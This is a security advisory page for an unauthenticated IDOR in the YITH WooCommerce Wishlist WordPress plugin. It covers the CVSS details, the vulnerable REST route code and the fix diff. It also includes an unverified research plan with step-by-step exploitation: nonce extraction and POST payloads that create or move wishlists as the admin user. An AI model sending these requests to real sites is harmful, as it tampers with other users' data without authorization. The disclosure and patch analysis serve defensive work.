CVE-2026-27329

YITH WooCommerce Wishlist <= 4.12.0 - Unauthenticated Insecure Direct Object Reference

mediumAuthorization Bypass Through User-Controlled Key
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
4.13.0
Patched in
5d
Time to patch

Description

The YITH WooCommerce Wishlist plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.12.0 due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.12.0
PublishedMay 7, 2026
Last updatedMay 11, 2026

What Changed in the Fix

Changes introduced in v4.13.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-27329 - YITH WooCommerce Wishlist IDOR ## 1. Vulnerability Summary The **YITH WooCommerce Wishlist** plugin (up to version 4.12.0) contains an Insecure Direct Object Reference (IDOR) vulnerability in its REST API implementation. The vulnerability arises because several RES…

Show full research plan

Research Plan: CVE-2026-27329 - YITH WooCommerce Wishlist IDOR

1. Vulnerability Summary

The YITH WooCommerce Wishlist plugin (up to version 4.12.0) contains an Insecure Direct Object Reference (IDOR) vulnerability in its REST API implementation. The vulnerability arises because several REST API endpoints, specifically those in YITH_WCWL_Rest_V1_Lists_Controller and YITH_WCWL_Rest_V1_Items_Controller, accept a user_id parameter and use it to perform actions (like creating wishlists or adding items) without verifying that the requester has the authority to act on behalf of that user_id.

Because the permission_callback for several of these routes is set to __return_true, unauthenticated attackers can manipulate the wishlists of any user on the site if they know or can guess the victim's user_id.

2. Attack Vector Analysis

  • Endpoint: /wp-json/yith/wishlist/v1/lists
  • HTTP Method: POST
  • Vulnerable Parameter: user_id (the "user-controlled key")
  • Required Parameters: wishlist_name, wishlist_visibility
  • Authentication: None required (unauthenticated).
  • Preconditions: The REST API must be enabled (default in WordPress). A victim user_id (typically 1 for the site admin) must exist.

3. Code Flow

  1. Route Registration: In includes/rest-api/controllers/v1/class-yith-wcwl-rest-v1-lists-controller.php, the register_routes method registers the POST method for the base lists route:
    register_rest_route(
        $this->namespace,
        '/' . $this->rest_base,
        array(
            array(
                'methods'             => WP_REST_Server::CREATABLE,
                'callback'            => array( $this, 'create_list' ),
                'permission_callback' => '__return_true', // Vulnerability: No auth check
                'args'                => array(
                    'wishlist_name' => array( ... ),
                    'wishlist_visibility' => array( ... ),
                    'user_id' => array( 'type' => 'integer' ), // Attacker controlled
                ),
            ),
        )
    );
    
  2. Callback Execution: When the endpoint is hit, create_list($request) is called.
  3. Data Processing: The controller retrieves all parameters via $args = $request->get_params().
  4. Sink: These arguments are passed directly to the wishlist factory:
    $wishlist = YITH_WCWL_Wishlists::get_instance()->create( $args );
    
    The create method uses the user_id provided in $args to set the owner of the new wishlist. Because there is no check comparing the requested user_id with the current logged-in user ID, the IDOR occurs.

4. Nonce Acquisition Strategy

While unauthenticated REST API POST requests with a permission_callback of __return_true often do not require a nonce in a stateless environment (no cookies), WordPress may require a wp_rest nonce if any session cookies are present. To ensure the exploit works:

  1. Shortcode: The plugin localization and REST data are typically loaded on pages containing the wishlist shortcode.
  2. Create Page: Create a temporary page with [yith_wcwl_wishlist].
  3. Navigation: Navigate to this page using browser_navigate.
  4. Extraction: Use browser_eval to extract the REST nonce from the yith_wcwl_l10n object:
    • Variable: window.yith_wcwl_l10n?.rest?.nonce
  5. Usage: Include this nonce in the X-WP-Nonce header.

5. Exploitation Strategy

Step 1: Discover Target

Target User ID: 1 (Admin).
Target Product: Any valid WooCommerce product ID.

Step 2: Extract REST Nonce (Optional but Recommended)

// Execute via browser_eval after navigating to a page with [yith_wcwl_wishlist]
return window.yith_wcwl_l10n?.rest?.nonce;

Step 3: Perform IDOR Request (Create List for Admin)

HTTP Request:

  • URL: http://<target>/wp-json/yith/wishlist/v1/lists
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: <extracted_nonce> (if available)
  • Body:
{
  "wishlist_name": "Unauthorized Admin List",
  "wishlist_visibility": 0,
  "user_id": 1
}

Step 4: Perform IDOR Request (Add Item to Admin List)

HTTP Request:

  • URL: http://<target>/wp-json/yith/wishlist/v1/items
  • Method: POST
  • Body:
{
  "product_id": <valid_product_id>,
  "user_id": 1,
  "wishlist_name": "Unauthorized Admin List"
}

6. Test Data Setup

  1. Requirement: WooCommerce must be active.
  2. Product: Create a test product:
    wp post create --post_type=product --post_title="Target Product" --post_status=publish
    (Note the returned ID).
  3. Shortcode Page: Create a page for nonce extraction:
    wp post create --post_type=page --post_title="Wishlist Trigger" --post_status=publish --post_content="[yith_wcwl_wishlist]"

7. Expected Results

  • The REST API response should return a JSON object containing wishlist_data.
  • The wishlist_data should show the user_id as 1.
  • The response code should be 200 OK or 201 Created.

8. Verification Steps

Verify the wishlist creation and ownership via WP-CLI:

# Check if a wishlist named "Unauthorized Admin List" exists for User ID 1
wp eval "print_r(YITH_WCWL_Wishlist_Factory::get_wishlists(array('user_id' => 1)));"

Or via raw database query:

wp db query "SELECT * FROM wp_yith_wcwl_wishlists WHERE user_id = 1 AND wishlist_name = 'Unauthorized Admin List';"

9. Alternative Approaches

If create_list is patched or restricted, target the Move Item endpoint which is also unauthenticated:

  • Endpoint: POST /wp-json/yith/wishlist/v1/items/move
  • Payload: {"product_id": 123, "destination_wishlist": <target_list_id>, "origin_wishlist": <victim_list_id>}
  • This would demonstrate the ability to steal items from a victim's wishlist and move them to an attacker's wishlist.
Research Findings
Static analysis — not yet PoC-verified

Summary

The YITH WooCommerce Wishlist plugin for WordPress is vulnerable to Insecure Direct Object Reference (IDOR) via its REST API endpoints in versions up to 4.12.0. This occurs because endpoints for creating wishlists and managing items use a user-provided user_id parameter without validating ownership, allowing unauthenticated attackers to perform actions on behalf of any site user, including administrators.

Vulnerable Code

// includes/rest-api/controllers/v1/class-yith-wcwl-rest-v1-lists-controller.php lines 53-73
register_rest_route(
    $this->namespace,
    '/' . $this->rest_base,
    array(
        array(
            'methods'             => WP_REST_Server::CREATABLE,
            'callback'            => array( $this, 'create_list' ),
            'permission_callback' => '__return_true',
            'args'                => array(
                'wishlist_name'       => array(
                    'description' => _x( 'The wishlist name.', '[REST-API] The schema field description', 'yith-woocommerce-wishlist' ),
                    'type'        => 'string',
                    'required'    => true,
                ),
                'wishlist_visibility' => array(
                    'description' => _x( 'The wishlist visibility value.', '[REST-API] The schema field description', 'yith-woocommerce-wishlist' ),
                    'type'        => 'integer',
                    'required'    => true,
                ),
                'user_id'             => array(
                    'description' => _x( 'The unique identifier for the user.', '[REST-API] The schema field description', 'yith-woocommerce-wishlist' ),
                    'type'        => 'integer',
                ),
---
// includes/rest-api/controllers/v1/class-yith-wcwl-rest-v1-items-controller.php lines 111-140
register_rest_route(
    $this->namespace,
    '/' . $this->rest_base . '/move',
    array(
        array(
            'methods'             => WP_REST_Server::CREATABLE,
            'callback'            => array( $this, 'move_item' ),
            'permission_callback' => '__return_true',
            'args'                => array(
                'product_id'  => array(
                    'description' => _x( 'The product ID', '[REST-API] The schema field description', 'yith-woocommerce-wishlist' ),
                    'type'        => 'integer',
                    'required'    => true,
                ),

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/yith-woocommerce-wishlist/4.12.0/includes/rest-api/controllers/v1/class-yith-wcwl-rest-v1-lists-controller.php /home/deploy/wp-safety.org/data/plugin-versions/yith-woocommerce-wishlist/4.13.0/includes/rest-api/controllers/v1/class-yith-wcwl-rest-v1-lists-controller.php
--- /home/deploy/wp-safety.org/data/plugin-versions/yith-woocommerce-wishlist/4.12.0/includes/rest-api/controllers/v1/class-yith-wcwl-rest-v1-lists-controller.php	2024-10-23 10:06:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/yith-woocommerce-wishlist/4.13.0/includes/rest-api/controllers/v1/class-yith-wcwl-rest-v1-lists-controller.php	2026-03-05 10:49:18.000000000 +0000
@@ -53,7 +53,7 @@
 					array(
 						'methods'             => WP_REST_Server::CREATABLE,
 						'callback'            => array( $this, 'create_list' ),
-						'permission_callback' => '__return_true',
+						'permission_callback' => array( $this, 'create_list_permissions_check' ),
 						'args'                => array(
 							'wishlist_name'       => array(
 								'description' => _x( 'The wishlist name.', '[REST-API] The schema field description', 'yith-woocommerce-wishlist' ),
@@ -111,5 +137,38 @@
 
 			return rest_ensure_response( $response );
 		}
+
+		/**
+		 * Check if the current user can create a wishlist.
+		 *
+		 * Prevents unauthenticated users from creating wishlists for arbitrary user IDs.
+		 *
+		 * @param \WP_REST_Request $request The rest request.
+		 * @return true|\WP_Error
+		 */
+		public function create_list_permissions_check( $request ) {
+			$user_id = $request->get_param( 'user_id' );
+
+			// If a user_id is provided, only allow if the current user matches or is an admin.
+			if ( $user_id ) {
+				if ( ! is_user_logged_in() ) {
+					return new \WP_Error(
+						'wishlist_rest_cannot_create',
+						__( 'Sorry, you must be logged in to create a wishlist for a user.', 'yith-woocommerce-wishlist' ),
+						array( 'status' => 401 )
+					);
+				}
+
+				if ( (int) get_current_user_id() !== (int) $user_id && ! current_user_can( 'manage_woocommerce' ) ) { // phpcs:ignore WordPress.WP.Capabilities.Unknown
+					return new \WP_Error(
+						'wishlist_rest_cannot_create',
+						__( 'Sorry, you are not allowed to create wishlists for other users.', 'yith-woocommerce-wishlist' ),
+						array( 'status' => 403 )
+					);
+				}
+			}
+
+			return true;
+		}

Exploit Outline

The vulnerability can be exploited by an unauthenticated attacker using the WordPress REST API. An attacker targets the `/wp-json/yith/wishlist/v1/lists` endpoint with a POST request. The payload should include a `user_id` parameter set to the ID of the target victim (e.g., 1 for the site administrator). Because the endpoint uses `__return_true` for its `permission_callback`, the server processes the request without checking if the requester has authority over the specified `user_id`. If a REST nonce is required (standard in most WordPress configurations), it can be retrieved from the `yith_wcwl_l10n` object on any page where the plugin's wishlist shortcode is rendered and supplied in the `X-WP-Nonce` header.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.